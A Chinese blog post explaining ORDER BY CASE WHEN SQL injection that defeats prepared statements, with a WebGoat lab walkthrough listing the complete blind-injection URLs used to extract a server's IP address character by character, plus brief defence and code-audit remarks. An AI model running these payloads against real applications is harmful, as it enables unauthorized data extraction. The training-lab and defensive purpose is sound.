SQL注入——预编译CASE注入

文章目录

  • 预编译 CASE 注入
    • 1. SQL注入漏洞防御
    • 2. WEBGOAT SQL注入
      • 2.1 WebGoat 8.0
      • 2.2 Order by 注入
        • 2.2.1 构造 when 的条件
        • 2.2.2 代码审计

预编译 CASE 注入

预编译 CASE(Prepared CASE)是一种数据库查询语言(如SQL)中的控制语句,它可以根据条件表达式的值来选择执行不同的语句块,类似于编程语言中的 switch 语句。预编译 CASE 注入则是一种基于预编译 CASE 语句的安全漏洞攻击。

预编译 CASE 注入攻击的漏洞原理与其他类型的注入攻击相似,即攻击者尝试构造特定的输入数据来绕过应用程序的输入验证和过滤机制,从而能够执行未经授权的操作或获得敏感信息等。

在预编译 CASE 注入攻击中,攻击者通常会针对应用程序中存在的具有条件判断语句的查询进行攻击,通过构造恶意的条件表达式绕过输入验证和过滤机制,让条件表达式的结果达到攻击目的。

1. SQL注入漏洞防御

  • 避免采用拼接的方式构造SQL 语句,可以采用预编译等技术。

  • 对进入SQL 语句的参数进行足够过滤。

  • 部署安全设备比如WAF(web应用安全防火墙)。

  • 现行很多开发框架,基本上已经从技术上,解决SQL 注入问题。

JAVA中的PreparedStatement,PreparedStatement继承与Statement。

PreparedStatement作用:预编译SQL语句并执行:预防SQL注入问题。

PreparedStatement好处:

  • 预编译SQL,性能更高。
  • 防止SQL注入:将敏感字符进行转义。

image-20210725195756848

Java代码操作数据库流程如图所示:

  • 将SQL语句发送到MySQL服务器端

  • MySQL服务器端会对SQL语句进行操作

    • 检查SQL语句,检查SQL语句的语法是否正确

    • 编译SQL语句。将SQL语句编译成可执行的函数

      检查SQL和编译SQL花费的时间比执行SQL的时间还要长。

      如果我们只是重新设置参数,那么检查SQL语句和编译SQL语句将不需要重复执行。这样就提高了性能。

    • 执行SQL语句。

俗话说得好没有绝对的安全,通过预编译的技术也不能够完全防御SQL注入,只能是减轻。

比如参数绑定的方式可以使用下面的方式绕过:通过使用case when语句可以将order by后的orderExpression表达式中添加select语句。

前提条件是SQL语句中必须有order by 字段才可以通过预编译CASE注入。

2. WEBGOAT SQL注入

2.1 WebGoat 8.0

下载地址: https://github.com/WebGoat/WebGoat/wiki
WebGoat 官网及使用方法: https://github.com/WebGoat/WebGoat

运行 WebGoat

执行:java -jar webgoat-server-8.0.0.M21.jar

image-20230924145350643

然后,在浏览器中执行:http://127.0.0.1:8080/WebGoat,打开WebGoat网站,注册用户后就可以使用了。

2.2 Order by 注入

启动靶场访问指定页面

image-20230924130939131

题目要求获取主机名为webgoat-prd的服务器的IP地址,而且题目中提示了Submit 不存在SQL 注入。

查看WebGoat的提示,要利用when的条件when (true/false)

image-20230924135135373

使用bp抓取数据包,点击IP排序的地方进行抓包。

image-20230924145029497

查看数据包

image-20230924132252948

按照不同的列排序

  • 按IP排序:

image-20230924132411561

  • 按hostname排序:

image-20230924132442557

联想到 column 参数的值就是SQL语句中的 order by 参数。

这里发现column 参数的值是可控的,那么我们随便传递一个值,查看浏览器返回结果。

image-20230924132713555

发现有报错信息

image-20230924132843911

仔细观察报错信息发现,其中有SQL语句

select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by wuhu

发现传给column的值wuhu,最终是order by的参数。并且还给出了很多数据库的信息。例如有id, hostname, ip, mac, status, description, 表名为servers ,并且查询的是status不为’out of order’ 的信息。可以推测主机名为webgoat-prd的服务器的status是’out of order’ ,所以正常查询是查询不到主机名为webgoat-prd的服务器的。

采用case when进行注入,整个SQL语句为:

select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by case when (true/false) then hostname else id end 

说明:如果when中的条件为true,按照hostname排序,否则按照id进行排序。

注意

  • then后面和else后面的列名必须是合法的否则SQL语句回报错。
  • case语句结尾要有end。
2.2.1 构造 when 的条件

获取主机名为webgoat-prd的服务器的IP地址:

select ip from servers where hostname='webgoat-prd'

判断第一位是不是1:

substring((select ip from servers where hostname='webgoat-prd'),1,1)=1

SUBSTRING 函数用于从字符串中获取子串。

将整个判断条件放到when中,整个URL为:

127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when (substring((select ip from servers where hostname='webgoat-prd'),1,1)=1) then hostname else id end)

然后对构造的参数进行URL编码后发包,看到结果是按hostname排序的,说明IP地址的第一位是1。

image-20230924135534378

第二位是0

image-20230924140954214

第三位是4

image-20230924141038591

when条件为true的所有SQL语句为:

注意:不能直接复制到bp中,需要进行URL编码。

127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,2,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,3,1) from servers where hostname='webgoat-prd')=4) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,4,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,5,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,6,1) from servers where hostname='webgoat-prd')=3) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,7,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,8,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,9,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,10,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,11,1) from servers where hostname='webgoat-prd')=9) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,12,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,13,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,14,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,15,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)

最终可以看到IP地址为 104.130.219.202

最后将获取到的IP地址输入到页面中,即通关成功。

image-20230924143130613

2.2.2 代码审计

定位到Servers.java文件,分析源码可以看到,服务端虽然使用了预编译但仍拼接了 order by 参数 column,导致存在 SQL 注入漏洞:

image-20230924143354707

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/141203.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Windows10关闭小娜最好方法是什么?

Windows10关闭小娜最好方法是什么&#xff1f;Windows10系统内的小娜可以帮助大家实现各种操作和提供一系列的便捷功能。但是&#xff0c;有些用户并不需要小娜的帮助&#xff0c;所以想要关闭小娜功能&#xff0c;下面小编给大家介绍关闭Windows10系统内小娜的最好方法&#x…

【LeetCode-简单题】501. 二叉搜索树中的众数

文章目录 题目方法一&#xff1a;暴力哈希方法二&#xff1a;利用二叉搜索树的特性&#xff08;递归双指针&#xff09; 题目 方法一&#xff1a;暴力哈希 这是针对于普通二叉树的解法 统计number出现次数 然后将次数最大的众数集 取出来 Map<Integer , Integer > map …

体验亚马逊的 CodeWhisperer 感觉

CodeWhisperer 是亚马逊推出的辅助编程工具&#xff0c;在程序员写代码时&#xff0c;它能根据其内容生成多种代码建议。 CodeWhisperer 目前已支持近10几种语言&#xff0c;我是用 java 语言&#xff0c;用的开发工具是 idea&#xff0c;说一下我用的情况。 亚马逊云科技开发…

96.不同的二叉搜索树

​ 题目&#xff1a; 96. 不同的二叉搜索树 中等 2.4K 相关企业 给你一个整数 n &#xff0c;求恰由 n 个节点组成且节点值从 1 到 n 互不相同的 二叉搜索树 有多少种&#xff1f;返回满足题意的二叉搜索树的种数。 示例 1&#xff1a; 输入&#xff1a;n 3 输出&#xf…

数据结构-----树和二叉树必知必会知识

目录 前言 思维导图 一.树 树的定义 二.二叉树 1.二叉树的定义 2.二叉树的形态&#xff08;图&#xff09; 3.二叉树的性质 三.满二叉树 1.定义 2.特点和性质 四.完全二叉树 1.定义 2.特点和性质 前言 今天开始我们就学习新的数据结构类型啦&#xff01;没错它就是…

python安全工具开发笔记(四)——python网络编程

一、C/S架构 什么是C/S架构 C : Client S : Server。客户机和服务器结构。 Server 唯一的目的就是等待Client 的请求&#xff0c;Client 连上 Server 发送必要的数据&#xff0c;然后等待Server端完成请求的反馈。 C/S网络编程 Server端进行设置&#xff0c;首先创建一个通信…

【LeetCode75】第六十三题 不同路径

目录 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 代码&#xff1a; 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 题目给我们返回地图的长和宽。问我们从地图的左上走到右下有几种方法。我们只能往下走或是往右走。 这个算是简单的二维动态规划题了。 …

RabbitMQ生产故障问题分析

1. 问题引发 由某个服务BI-collector-xx队列出现阻塞&#xff0c;影响很整个rabbitMQ集群服务不可用&#xff0c;多个应用MQ生产者服务出现假死状态&#xff0c;系统影响面较广&#xff0c;业务影响很大。当时为了应急处理&#xff0c;恢复系统可用&#xff0c;运维相对粗暴的把…

华为OD机试 - 相同数字组成图形的周长 - 矩阵(Java 2023 B卷 100分)

目录 专栏导读一、题目描述二、输入描述三、输出描述四、Java算法源码五、效果展示1、输入2、输出 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷&#xff09;》。 刷的越多…

docker容器

虚拟化产品 1.奇居架构 2.原生架构 1.支持仿真虚拟化&#xff08;对系统硬件没有要求&#xff0c;性能最低&#xff09;vmware个人在windows支持 vmware workstationvmware fusion MAC2.全虚拟化产品&#xff0c;直接使用物理硬件、性能高 exic&#xff08;操作系统&#xff0…

CentOS 7 制作openssl 1.1.1w 版本rpm包 —— 筑梦之路

源码下载地址&#xff1a; https://www.openssl.org/source/openssl-1.1.1w.tar.gz 参考之前的文章&#xff1a; openssl 1.1.1L /1.1.1o/1.1.1t rpm包制作——筑梦之路_openssl的rpm包_筑梦之路的博客-CSDN博客 直接上spec文件&#xff1a; Name: openssl Version: 1.1…

【差旅游记】初见乌海湖

哈喽&#xff0c;大家好&#xff0c;我是雷工。 最近在乌海出差&#xff0c;有幸见到了传说中在沙漠中看海的“黄河明珠”——乌海湖。 前段时间一直有点忙&#xff0c;现在有点时间&#xff0c;趁还没忘光&#xff0c;简单整理记录下。 那是在上个月&#xff0c;2023年8月8号…

【大虾送书第十一期】适合新手自学的网络安全基础技能“蓝宝书”:《CTF那些事儿》

目录 &#x1f96e;写在前面 &#x1f96e;内容简介 &#x1f96e;读者对象 &#x1f96e;专家推荐 &#x1f96e;目录 &#x1f96e;文末福利 &#x1f990;博客主页&#xff1a;大虾好吃吗的博客 &#x1f990;专栏地址&#xff1a;免费送书活动专栏地址 写在前面 CTF比赛是快…

Leetcode 887. 鸡蛋掉落

文章目录 题目代码&#xff08;9.25 首刷看解析&#xff09; 题目 Leetcode 887. 鸡蛋掉落 代码&#xff08;9.25 首刷看解析&#xff09; class Solution { public:unordered_map<int, int> memo;int superEggDrop(int K, int N) {return dp(K, N);}int dp(int k, int…

【从入门到起飞】JavaSE—方法引用

&#x1f38a;专栏【JavaSE】 &#x1f354;喜欢的诗句&#xff1a;更喜岷山千里雪 三军过后尽开颜。 &#x1f386;音乐分享【The truth that you leave】 &#x1f970;欢迎并且感谢大家指出我的问题 文章目录 &#x1f354;概述&#x1f354;注意&#x1f388;如何确定是否是…

Java实现byte数组与Hex互转

十六进制字符的输出大写字符&#xff1a;0123456789ABCDEF 十六进制字符的输出小写字符&#xff1a;0123456789abcdef下面使用十六进制大写字符。 1、方式1 public class HexStringUtils {private static final char[] HEX_CHAR_TABLE {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B,…

LabVIEW在运行时调整表控件列宽

LabVIEW在运行时调整表控件列宽 如何在LabIEW中运行时调整表控件的列宽大小&#xff1f; 在VI运行时&#xff0c;有两种不同的方法可以更改表中列的宽度。首先&#xff0c;可以使用鼠标手动更改它们;其次&#xff0c;可以从框图中以编程方式更改它们。 手动更改列宽 只有在…

Feign 使用篇

Feign是一个声明式的HTTP客户端工具&#xff0c;它简化了在分布式系统中进行服务间通信的过程。开发人员可以使用Feign来定义接口&#xff0c;然后通过该接口来调用远程服务&#xff0c;就像调用本地方法一样简单。 目录 Feign的一些关键特性和概念&#xff1a;openfeign 对比 …

【高云FPGA系列教程(11):MultiButton按键驱动模块移植】

文章目录 1. MultiButton简介2. MultiButton代码获取3. MultiButton移植4. 测试与运行本文是高云FPGA系列教程的第11篇文章。 1. MultiButton简介 MultiButton, 一个小巧简单易用的事件驱动型按键驱动模块,可无限量扩展按键,按键事件的回调异步处理方式可以简化你的程序结构…

https跳过SSL认证时是不是就是不加密的,相当于http?

https跳过SSL认证时是不是就是不加密的,相当于http?&#xff0c;其实不是&#xff0c;HTTPS跳过SSL认证并不相当于HTTP&#xff0c;也不意味着没有加密。请注意以下几点&#xff1a; HTTPS&#xff08;Hypertext Transfer Protocol Secure&#xff09;本质上是在HTTP的基础上…